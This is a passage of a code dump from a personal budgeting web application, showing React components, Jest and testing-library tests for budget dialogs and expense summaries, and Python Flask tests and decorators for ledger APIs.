'./ExpensesList';\n\nconst PeriodicExpensesList = ({ budgetId }) => {\n const { error, expenses, status } = useFetchPeriodicExpenses({ budgetId });\n const { mutate } = useDeletePeriodicExpense({ budgetId });\n\n return (\n <>\n {status === 'success' && expenses.length === 0 && (\n <Alert severity='info'>\n No expenses defined (<Link to='create-periodic'>create one now</Link>)\n </Alert>\n )}\n {status === 'success' && (\n <ExpensesList expenses={expenses} onDelete={mutate} type='periodic' />\n )}\n {status === 'loading' && <LinearProgress />}\n {status === 'error' && <Alert severity='error'>{error}</Alert>}\n </>\n );\n};\n\nPeriodicExpensesList.propTypes = {\n budgetId: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n};\n\nexport default PeriodicExpensesList;\n" }, { "alpha_fraction": 0.6400343775749207, "alphanum_fraction": 0.6533505320549011, "avg_line_length": 36.54838562011719, "blob_id": "a81b8d603682e5ea762679b07ff8ba64b5a17642", "content_id": "2163dc91fbd58fe282f9d13e3a6b68aa99ce4097", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4656, "license_type": "permissive", "max_line_length": 100, "num_lines": 124, "path": "/webapp/src/features/budgets/components/__tests__/ModifyActiveBudgetDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport ModifyActiveBudgetDialog from '../ModifyActiveBudgetDialog';\n\nconst render = (activeBudget, code = 200) => {\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n mockApi.onGet(`/api/active-budgets/${activeBudget.id}`).reply(code, activeBudget);\n mockApi.onGet('/api/ledgers/2/budgets').reply(200, {\n budgets: [\n { id: 1, name: 'Budget 1', periods: 1 },\n { id: 2, name: 'Budget 2', periods: 2 },\n ],\n });\n\n const queryClient = new QueryClient({\n defaultOptions: { queries: { retry: false } },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/budgets/modify-active/:id' element={<ModifyActiveBudgetDialog />} />\n </Routes>\n </QueryClientProvider>,\n { route: `/budgets/modify-active/${activeBudget.id}` },\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should close dialog when unable to fetch budget', async () => {\n const { history } = render({ id: 5 }, 404);\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /modify active budget/i })).toBeInTheDocument(),\n );\n await waitFor(() =>\n expect(\n screen.queryByRole('heading', { name: /modify active budget/i }),\n ).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(history.location.pathname).toBe('/budgets'));\n});\n\n// Can't unselect a budget, so disable this for now (add back in if a clearable field is introduced)\n// test('should prevent submission when required fields are missing', async () => {\n// render({ id: 5, budgetId: 2, year: 2020 });\n// await waitFor(() =>\n// expect(screen.getByRole('textbox', { name: /budget/i })).toHaveValue('Budget 2'),\n// );\n// expect(screen.getByRole('textbox', { name: /year/i })).toHaveValue('2020');\n// expect(screen.getByRole('textbox', { name: /year/i })).toBeDisabled();\n\n// userEvent.clear(screen.getByRole('textbox', { name: /budget/i }));\n// userEvent.tab();\n\n// const saveButton = screen.getByRole('button', { name: /save/i });\n// userEvent.click(saveButton);\n// await (await waitFor(() => expect(screen.getByText(/required/i)))).toBeInTheDocument();\n// expect(saveButton).toBeDisabled();\n// });\n\ntest('should show error message when request error', async () => {\n const { mockApi } = render({ id: 5, budgetId: 2, year: 2020 });\n mockApi.onPut('/api/active-budgets/5').reply(400);\n\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /budget/i })).toHaveValue('Budget 2'),\n );\n expect(screen.getByRole('textbox', { name: /year/i })).toHaveValue('2020');\n expect(screen.getByRole('textbox', { name: /year/i })).toBeDisabled();\n\n userEvent.clear(screen.getByRole('textbox', { name: /budget/i }));\n userEvent.type(screen.getByRole('textbox', { name: /budget/i }), 'Budget 1');\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.getByText(/unable to modify active budget/i)).toBeInTheDocument(),\n );\n});\n\ntest('should close and refresh query when successful modify', async () => {\n const { mockApi, queryClient } = render({ id: 5, budgetId: 2, name: 'Test Budget', year: 2020 });\n mockApi.onPut('/api/active-budgets/5').reply(200);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /budget/i })).toHaveValue('Budget 2'),\n );\n\n userEvent.clear(screen.getByRole('textbox', { name: /budget/i }));\n userEvent.type(screen.getByRole('textbox', { name: /budget/i }), 'Budget 1');\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(\n screen.queryByRole('heading', { name: /modify active budget/i }),\n ).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.put[0].data)).toEqual({\n budgetId: 1,\n });\n expect(invalidateQueries).toHaveBeenCalledWith(['active-budget', '5']);\n expect(invalidateQueries).toHaveBeenCalledWith([\n 'active-budgets',\n {\n ledger: '2',\n },\n ]);\n});\n" }, { "alpha_fraction": 0.6646825671195984, "alphanum_fraction": 0.670634925365448, "avg_line_length": 24.200000762939453, "blob_id": "9e1e0686f734371defd7d477b26cfb348947c1e0", "content_id": "d34c719f9d622e220e7ac14385427a90cc4ae09e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 504, "license_type": "permissive", "max_line_length": 84, "num_lines": 20, "path": "/backend/underbudget/common/decorators.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Custom decorators \"\"\"\nimport functools\nfrom flask import request\n\nfrom underbudget.common.parser import parser\n\n\nuse_args = parser.use_args\n\n\ndef with_pagination(func):\n \"\"\" Adds page and size arguments from request args to the decorated function \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n kwargs[\"page\"] = request.args.get(\"page\", 1, type=int)\n kwargs[\"size\"] = request.args.get(\"size\", 10, type=int)\n return func(*args, **kwargs)\n\n return wrapper\n" }, { "alpha_fraction": 0.6760098934173584, "alphanum_fraction": 0.6776586771011353, "avg_line_length": 30.921052932739258, "blob_id": "afc1fcfd10a9d9e8b1ef8095df525b6a5808179b", "content_id": "c5d7d3770346a0949025fd73c3a8389106e96f5e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1213, "license_type": "permissive", "max_line_length": 86, "num_lines": 38, "path": "/webapp/src/common/components/FullScreenDialogTitle/FullScreenDialogTitle.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import AppBar from '@material-ui/core/AppBar';\nimport Button from '@material-ui/core/Button';\nimport IconButton from '@material-ui/core/IconButton';\nimport Toolbar from '@material-ui/core/Toolbar';\nimport Typography from '@material-ui/core/Typography';\nimport CloseIcon from '@material-ui/icons/Close';\nimport { useFormikContext } from 'formik';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nconst FullScreenDialogTitle = ({ actionText, onClose, title }) => {\n const { isSubmitting, isValid } = useFormikContext();\n return (\n <AppBar style={{ position: 'relative' }}>\n <Toolbar>\n <IconButton aria-label='close' color='inherit' edge='start' onClick={onClose}>\n <CloseIcon />\n </IconButton>\n\n <Typography color='inherit' style={{ flex: 1 }} variant='h6'>\n {title}\n </Typography>\n\n <Button color='inherit' disabled={isSubmitting || !isValid} type='submit'>\n {actionText}\n </Button>\n </Toolbar>\n </AppBar>\n );\n};\n\nFullScreenDialogTitle.propTypes = {\n actionText: PropTypes.string.isRequired,\n onClose: PropTypes.func.isRequired,\n title: PropTypes.string.isRequired,\n};\n\nexport default FullScreenDialogTitle;\n" }, { "alpha_fraction": 0.5937639474868774, "alphanum_fraction": 0.5955456495285034, "avg_line_length": 32.50746154785156, "blob_id": "93f4f7efc3d220f2e35546c46d7d075c11ccd8ff", "content_id": "15d7a7e37165d097ce6c948209970cedbf74883f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2245, "license_type": "permissive", "max_line_length": 98, "num_lines": 67, "path": "/webapp/src/common/components/SubmitButton/SubmitButton.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { fireEvent, render, screen, waitFor } from '@testing-library/react';\nimport { Form, Formik } from 'formik';\nimport React from 'react';\n\nimport SubmitButton from './SubmitButton';\n\ndescribe('SubmitButton', () => {\n it('should submit enclosed form when clicked', async () => {\n const submit = jest.fn();\n render(\n <Formik initialValues={{}} onSubmit={submit}>\n <Form>\n <SubmitButton text='Click Me' />\n </Form>\n </Formik>,\n );\n\n fireEvent.click(screen.getByRole('button', { name: /click me/i }));\n await waitFor(() => expect(submit).toHaveBeenCalled());\n });\n\n it('should be disabled when form validation error', () => {\n const submit = jest.fn();\n render(\n <Formik initialErrors={{ field: 'error message' }} initialValues={{}} onSubmit={submit}>\n <Form>\n <SubmitButton text='Click Me' />\n </Form>\n </Formik>,\n );\n\n expect(screen.getByRole('button', { name: /click me/i })).toBeDisabled();\n });\n\n it('should be disabled when form is submitting', async () => {\n const submit = jest.fn(() => new Promise((res) => setTimeout(res, 50)));\n render(\n <Formik initialValues={{}} onSubmit={submit}>\n <Form>\n <SubmitButton text='Click Me' />\n </Form>\n </Formik>,\n );\n\n fireEvent.click(screen.getByRole('button', { name: /click me/i }));\n await waitFor(() => expect(screen.getByRole('button', { name: /click me/i })).toBeDisabled());\n await waitFor(() =>\n expect(screen.getByRole('button', { name: /click me/i })).not.toBeDisabled(),\n );\n });\n\n it('should show progress indicator when form is submitting', async () => {\n const submit = jest.fn(() => new Promise((res) => setTimeout(res, 50)));\n render(\n <Formik initialValues={{}} onSubmit={submit}>\n <Form>\n <SubmitButton text='Click Me' />\n </Form>\n </Formik>,\n );\n\n expect(screen.queryByRole('progressbar')).not.toBeInTheDocument();\n fireEvent.click(screen.getByRole('button', { name: /click me/i }));\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n });\n});\n" }, { "alpha_fraction": 0.6455844044685364, "alphanum_fraction": 0.6674438714981079, "avg_line_length": 39.36470413208008, "blob_id": "2606b632b967e958c9bcb6e8e57f148628209aa0", "content_id": "d5c76b4a5e3ffa6534ac416f392870c5c78b049b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6862, "license_type": "permissive", "max_line_length": 94, "num_lines": 170, "path": "/webapp/src/features/budgets/components/__tests__/CreateAnnualExpenseDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, fireEvent, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport CreateAnnualExpenseDialog from '../CreateAnnualExpenseDialog';\n\nconst render = () => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n const queryClient = new QueryClient();\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <CreateAnnualExpenseDialog budgetId={5} periods={4} />\n </QueryClientProvider>,\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should prevent submission when required fields are missing', async () => {\n render();\n expect(screen.getByRole('heading', { name: /create annual expense/i })).toBeInTheDocument();\n\n const create = screen.getByRole('button', { name: /create/i });\n userEvent.click(create);\n\n await waitFor(() => expect(screen.getAllByText(/required/i)).toHaveLength(2));\n expect(create).toBeDisabled();\n});\n\ntest('should show error message when request error', async () => {\n const { mockApi } = render();\n mockApi.onPost('/api/budgets/5/annual-expenses').reply(400);\n await waitFor(() => expect(mockApi.history.get.length).toBe(2));\n\n expect(screen.getByRole('heading', { name: /create annual expense/i })).toBeInTheDocument();\n\n userEvent.type(screen.getByRole('textbox', { name: /name/i }), 'my expense name');\n userEvent.type(screen.getByRole('textbox', { name: /envelope/i }), 'Category 2:Envelope 3');\n fireEvent.change(screen.getByRole('textbox', { name: /amount/i }), {\n target: { value: '$12.34' },\n });\n await waitFor(() => expect(screen.getByRole('button', { name: /create/i })).toBeEnabled());\n\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n await waitFor(() =>\n expect(screen.getByText(/unable to create annual expense/i)).toBeInTheDocument(),\n );\n});\n\ntest('should close and refresh query when successful create', async () => {\n const { mockApi, queryClient } = render();\n mockApi.onPost('/api/budgets/5/annual-expenses').reply(201);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n await waitFor(() => expect(mockApi.history.get.length).toBe(2));\n\n expect(screen.getByRole('heading', { name: /create annual expense/i })).toBeInTheDocument();\n\n userEvent.type(screen.getByRole('textbox', { name: /name/i }), 'my expense name');\n userEvent.type(screen.getByRole('textbox', { name: /envelope/i }), 'Category 2:Envelope 3');\n fireEvent.change(screen.getByRole('textbox', { name: /amount/i }), {\n target: { value: '$12.34' },\n });\n\n await waitFor(() => expect(screen.getByRole('button', { name: /create/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n\n await waitFor(() =>\n expect(\n screen.queryByRole('heading', { name: /create annual expense/i }),\n ).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.post[0].data)).toEqual({\n name: 'my expense name',\n envelopeId: 3,\n amount: 1234,\n details: [],\n });\n expect(invalidateQueries).toHaveBeenCalledWith(['budget-annual-expenses', { budgetId: 5 }]);\n});\n\ntest('should allow period detail amounts to be input', async () => {\n const { mockApi } = render();\n mockApi.onPost('/api/budgets/5/annual-expenses').reply(500);\n await waitFor(() => expect(mockApi.history.get.length).toBe(2));\n\n expect(screen.getByRole('heading', { name: /create annual expense/i })).toBeInTheDocument();\n\n userEvent.type(screen.getByRole('textbox', { name: /name/i }), 'my expense name');\n userEvent.type(screen.getByRole('textbox', { name: /envelope/i }), 'Category 2:Envelope 3');\n userEvent.click(screen.getByRole('checkbox', { name: /use period-specific amounts/i }));\n\n // Make sure total amount is disabled\n let amounts = screen.getAllByRole('textbox', { name: /amount/i });\n expect(amounts).toHaveLength(5);\n expect(amounts[0]).toBeDisabled();\n\n // Enter in detailed amounts and verify that total amount is updated\n fireEvent.change(amounts[1], { target: { value: '$110.00' } });\n fireEvent.change(amounts[3], { target: { value: '$90.00' } });\n expect(amounts[0]).toHaveDisplayValue('$200.00');\n\n await waitFor(() => expect(screen.getByRole('button', { name: /create/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n await waitFor(() => expect(mockApi.history.post).toHaveLength(1));\n expect(JSON.parse(mockApi.history.post[0].data)).toEqual({\n name: 'my expense name',\n envelopeId: 3,\n amount: 20000,\n details: [\n { name: '', amount: 11000 },\n { name: '', amount: 0 },\n { name: '', amount: 9000 },\n { name: '', amount: 0 },\n ],\n });\n\n // Revert back to simple and verify that total amount is enabled\n userEvent.click(screen.getByRole('checkbox', { name: /use period-specific amounts/i }));\n amounts = screen.getAllByRole('textbox', { name: /amount/i });\n expect(amounts).toHaveLength(1);\n expect(amounts[0]).toBeEnabled();\n expect(amounts[0]).toHaveDisplayValue('$200.00');\n\n await waitFor(() => expect(screen.getByRole('button', { name: /create/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n await waitFor(() => expect(mockApi.history.post).toHaveLength(2));\n expect(JSON.parse(mockApi.history.post[1].data)).toEqual({\n name: 'my expense name',\n envelopeId: 3,\n amount: 20000,\n details: [],\n });\n\n // Go back to detailed and verify that total was split among periods\n userEvent.click(screen.getByRole('checkbox', { name: /use period-specific amounts/i }));\n amounts = screen.getAllByRole('textbox', { name: /amount/i });\n expect(amounts).toHaveLength(5);\n expect(amounts[1]).toHaveDisplayValue('$50.00');\n expect(amounts[2]).toHaveDisplayValue('$50.00');\n expect(amounts[3]).toHaveDisplayValue('$50.00');\n expect(amounts[4]).toHaveDisplayValue('$50.00');\n fireEvent.change(amounts[2], { target: { value: '$70.00' } });\n userEvent.type(screen.getByRole('textbox', { name: /oct to dec/i }), 'Last Quarter');\n\n await waitFor(() => expect(screen.getByRole('button', { name: /create/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n await waitFor(() => expect(mockApi.history.post).toHaveLength(2));\n expect(JSON.parse(mockApi.history.post[2].data)).toEqual({\n name: 'my expense name',\n envelopeId: 3,\n amount: 22000,\n details: [\n { name: '', amount: 5000 },\n { name: '', amount: 7000 },\n { name: '', amount: 5000 },\n { name: 'Last Quarter', amount: 5000 },\n ],\n });\n}, 30000);\n" }, { "alpha_fraction": 0.6913123726844788, "alphanum_fraction": 0.6913123726844788, "avg_line_length": 26.049999237060547, "blob_id": "315b7114f5f5af0754cd8e389dbb846590ea6630", "content_id": "e4b9b412ac66bf0000d69495a0a25a229ba0e38b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 541, "license_type": "permissive", "max_line_length": 60, "num_lines": 20, "path": "/webapp/src/common/hooks/useSelectedLedger.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport { useLocation, useNavigate } from 'react-router-dom';\n\nimport useMountEffect from './useMountEffect';\nimport getSelectedLedger from '../utils/getSelectedLedger';\nimport { LEDGERS } from '../utils/routes';\n\nexport default function useSelectedLedger() {\n const location = useLocation();\n const navigate = useNavigate();\n const [ledger] = React.useState(getSelectedLedger);\n\n useMountEffect(() => {\n if (!ledger) {\n navigate(LEDGERS, { state: { from: location } });\n }\n });\n\n return ledger;\n}\n" }, { "alpha_fraction": 0.535585343837738, "alphanum_fraction": 0.5593089461326599, "avg_line_length": 33.625, "blob_id": "56c1c401e687fdc8cbed76322bb9afa794bfa5b3", "content_id": "a7d12cb1b1c41a28db20ce3ab8774c0140dc1bfe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3878, "license_type": "permissive", "max_line_length": 88, "num_lines": 112, "path": "/backend/underbudget/tests/test_ledgers.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for ledger APIs \"\"\"\nimport json\nfrom jsonpath_ng import parse\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass LedgersTestCase(BaseTestCase):\n \"\"\" Integration tests for ledger APIs \"\"\"\n\n @parameterized.expand(\n [\n (\"Name\", \"Ledger Name\"),\n (\"name\", \"\"),\n (\"name\", None),\n ]\n )\n def test_ledger_requires_valid_name(self, key, value):\n resp = self.client.post(\"/api/ledgers\", json={key: value, \"currency\": 840})\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (\"Currency\", 840),\n (\"currency\", 0),\n (\"currency\", None),\n ]\n )\n def test_ledger_requires_valid_currency(self, key, value):\n resp = self.client.post(\n \"/api/ledgers\", json={\"name\": \"Ledger Name\", key: value}\n )\n assert resp.status_code == 400\n\n def test_ledgers_are_paginated(self):\n resp = self.client.post(\n \"/api/ledgers\", json={\"name\": \"Ledger Name\", \"currency\": 840}\n )\n assert resp.status_code == 201\n\n resp = self.client.get(\"/api/ledgers?size=2\")\n assert resp.status_code == 200\n actual = json.loads(resp.data)\n assert [\"Ledger Name\"] == [\n m.value for m in parse(\"ledgers[*].name\").find(actual)\n ]\n assert actual.get(\"page\") == 1\n assert actual.get(\"size\") == 2\n assert actual.get(\"total\") == 1\n\n for i in range(10):\n resp = self.client.post(\n \"/api/ledgers\", json={\"name\": f\"Ledger {i}\", \"currency\": 840}\n )\n assert resp.status_code == 201\n\n resp = self.client.get(\"/api/ledgers?size=2\")\n assert resp.status_code == 200\n actual = json.loads(resp.data)\n assert len(actual.get(\"ledgers\", [])) == 2\n assert actual.get(\"page\") == 1\n assert actual.get(\"size\") == 2\n assert actual.get(\"total\") == 11\n\n resp = self.client.get(\"/api/ledgers?size=2&page=3\")\n assert resp.status_code == 200\n actual = json.loads(resp.data)\n assert len(actual.get(\"ledgers\", [])) == 2\n assert actual.get(\"page\") == 3\n assert actual.get(\"size\") == 2\n assert actual.get(\"total\") == 11\n\n def test_ledger_not_found(self):\n self._test_crud_methods_against_non_existent_resource(\n \"/api/ledgers\", {\"name\": \"Ledger\", \"currency\": 978}\n )\n\n def test_ledger_is_audited(self):\n self._test_resource_is_audited(\n \"/api/ledgers\", \"/api/ledgers\", {\"name\": \"Audited Ledger\", \"currency\": 840}\n )\n\n def test_ledger_modification(self):\n resp = self.client.post(\n \"/api/ledgers\", json={\"name\": \"Original Name\", \"currency\": 840}\n )\n assert resp.status_code == 201\n ledger_id = json.loads(resp.data).get(\"id\")\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == body.get(\"name\")\n assert body.get(\"currency\") == 840\n\n resp = self.client.put(\n f\"/api/ledgers/{ledger_id}\", json={\"name\": \"Modified Name\", \"currency\": 978}\n )\n assert resp.status_code == 200\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == body.get(\"name\")\n assert body.get(\"currency\") == 978\n\n def test_ledger_deletion(self):\n ledger_id = self.create_ledger()\n assert self.client.get(f\"/api/ledgers/{ledger_id}\").status_code == 200\n assert self.client.delete(f\"/api/ledgers/{ledger_id}\").status_code == 204\n assert self.client.get(f\"/api/ledgers/{ledger_id}\").status_code == 404\n" }, { "alpha_fraction": 0.805031418800354, "alphanum_fraction": 0.805031418800354, "avg_line_length": 34.33333206176758, "blob_id": "5597292d828429bce1c2e7f8d61251f2f5408fd7", "content_id": "0b13633c7fbc0fe2abe0324ad5e741e37fe37851", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 636, "license_type": "permissive", "max_line_length": 73, "num_lines": 18, "path": "/webapp/src/features/transactions/components/SelectableTransactions.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport useResponsiveComponent from 'common/hooks/useResponsiveComponent';\nimport SelectableTransactionsList from './SelectableTransactionsList';\nimport SelectableTransactionsTable from './SelectableTransactionsTable';\n\nconst SelectableTransactions = (props) => {\n const Component = useResponsiveComponent({\n desktop: SelectableTransactionsTable,\n mobile: SelectableTransactionsList,\n });\n // eslint-disable-next-line react/jsx-props-no-spreading\n return <Component {...props} />;\n};\n\nSelectableTransactions.propTypes = SelectableTransactionsTable.propTypes;\n\nexport default SelectableTransactions;\n" }, { "alpha_fraction": 0.6424701809883118, "alphanum_fraction": 0.6468039155006409, "avg_line_length": 27.84375, "blob_id": "053f0f54b3f868848f7df942147ac7f00e21c3e2", "content_id": "34ab8e9aa173e026c877171ef5c6d5ae85ce89f8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 923, "license_type": "permissive", "max_line_length": 78, "num_lines": 32, "path": "/webapp/src/common/components/MoneyInputField/MoneyInputField.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import getSymbolFromCurrency from 'currency-symbol-map';\n// import PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useSelectedLedgerCurrency from '../../hooks/useSelectedLedgerCurrency';\nimport NumberInputField from '../NumberInputField';\n\nconst MoneyInputField = (props) => {\n const {\n currency: { code, digits },\n isValid,\n } = useSelectedLedgerCurrency();\n const symbol = React.useMemo(() => getSymbolFromCurrency(code), [code]);\n const fromValue = (v) => v / 10 ** digits;\n const toValue = (v) => Math.round(v * 10 ** digits);\n return (\n <NumberInputField\n fromValue={fromValue}\n numberInputProps={{\n decimalScale: digits,\n fixedDecimalScale: true,\n onFocus: (e) => e.target.select(),\n prefix: isValid ? symbol : null,\n thousandSeparator: true,\n }}\n toValue={toValue}\n {...props}\n />\n );\n};\n\nexport default MoneyInputField;\n" }, { "alpha_fraction": 0.6784602403640747, "alphanum_fraction": 0.705915629863739, "avg_line_length": 34.68687057495117, "blob_id": "83d12334a8fc19083528199a90fd737cedd0f301", "content_id": "eb976bb8d3cba23c2b60e39e4f5a7b9c980d27e4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3533, "license_type": "permissive", "max_line_length": 89, "num_lines": 99, "path": "/webapp/src/features/budgets/components/__tests__/ExpenseSummary.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport ExpenseSummary from '../ExpenseSummary';\n\nconst render = (firstPeriod, secondPeriod, code = 200) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n mockApi\n .onGet('/api/budgets/5/budgeted-expenses/0')\n .reply(code, { expensesByEnvelopeId: firstPeriod });\n mockApi\n .onGet('/api/budgets/5/budgeted-expenses/1')\n .reply(code, { expensesByEnvelopeId: secondPeriod });\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: { retry: false },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <ExpenseSummary budgetId={5} periods={2} />\n </QueryClientProvider>,\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should show error message when unable to retrieve expenses', async () => {\n render({}, {}, 404);\n await waitFor(() => expect(screen.getByRole('alert')).toBeInTheDocument());\n expect(screen.getByText(/unable to retrieve/i)).toBeInTheDocument();\n});\n\ntest('should show info message when no expenses exist', async () => {\n render({}, {}, 200);\n await waitFor(() => expect(screen.getByRole('alert')).toBeInTheDocument());\n expect(screen.getByText(/no expenses/i)).toBeInTheDocument();\n});\n\ntest('should show expenses by period', async () => {\n const firstPeriod = {\n 1: 123456,\n 3: 34000,\n };\n const secondPeriod = {\n 1: 123456,\n 3: 35000,\n 4: 1000,\n };\n render(firstPeriod, secondPeriod);\n expect(screen.getByRole('progressbar')).toBeInTheDocument();\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const firstListItems = screen.queryAllByRole('listitem');\n expect(firstListItems).toHaveLength(2);\n\n expect(firstListItems[0]).toHaveTextContent('Category 1:Envelope 1');\n expect(firstListItems[0]).toHaveTextContent('$1,234.56');\n\n expect(firstListItems[1]).toHaveTextContent('Category 2:Envelope 3');\n expect(firstListItems[1]).toHaveTextContent('$340.00');\n\n userEvent.click(screen.getByRole('button', { name: 'Jan to Jun' }));\n userEvent.click(screen.getAllByRole('option')[1]);\n expect(screen.getByRole('progressbar')).toBeInTheDocument();\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const secondListItems = screen.queryAllByRole('listitem');\n expect(secondListItems).toHaveLength(3);\n\n expect(secondListItems[0]).toHaveTextContent('Category 1:Envelope 1');\n expect(secondListItems[0]).toHaveTextContent('$1,234.56');\n\n expect(secondListItems[1]).toHaveTextContent('Category 2:Envelope 3');\n expect(secondListItems[1]).toHaveTextContent('$350.00');\n\n expect(secondListItems[2]).toHaveTextContent('Category 2:Envelope 4');\n expect(secondListItems[2]).toHaveTextContent('$10.00');\n});\n\ntest('should navigate to expenses route on arrow button click', async () => {\n const { history } = render({}, {});\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n userEvent.click(screen.getByRole('button', { name: /go to budget expenses/i }));\n expect(history.location.pathname).toBe('/expenses');\n});\n" }, { "alpha_fraction": 0.5794066190719604, "alphanum_fraction": 0.5863874554634094, "avg_line_length": 29.157894134521484, "blob_id": "5093f01e33939d2ec33c4b8bf20bb670546e2ea5", "content_id": "c1c54fe199c037e5895b319cc22dfa763c77ca4c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 573, "license_type": "permissive", "max_line_length": 75, "num_lines": 19, "path": "/webapp/src/features/envelopes/hooks/useFlattenedEnvelopes.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport useEnvelopes from './useEnvelopes';\n\nexport default function useFlattenedEnvelopes() {\n const { categories } = useEnvelopes({ sorted: true });\n return React.useMemo(() => {\n const envelopes = [];\n for (let i = 0; i < categories.length; i += 1) {\n for (let j = 0; j < categories[i].envelopes.length; j += 1) {\n envelopes.push({\n id: categories[i].envelopes[j].id,\n name: `${categories[i].name}:${categories[i].envelopes[j].name}`,\n });\n }\n }\n return envelopes;\n }, [categories]);\n}\n" } ]
312
TechLabCommunity/UpAndDown
https://github.com/TechLabCommunity/UpAndDown
8ce245cd03059a5bbed260e98854f7110f2d1ef7
f7c3ca1fe5f5644aed73233550b62fbc9e1c844d
d2f3a4f911fe2897e9b9627f057e204a9f15cbf7
refs/heads/master
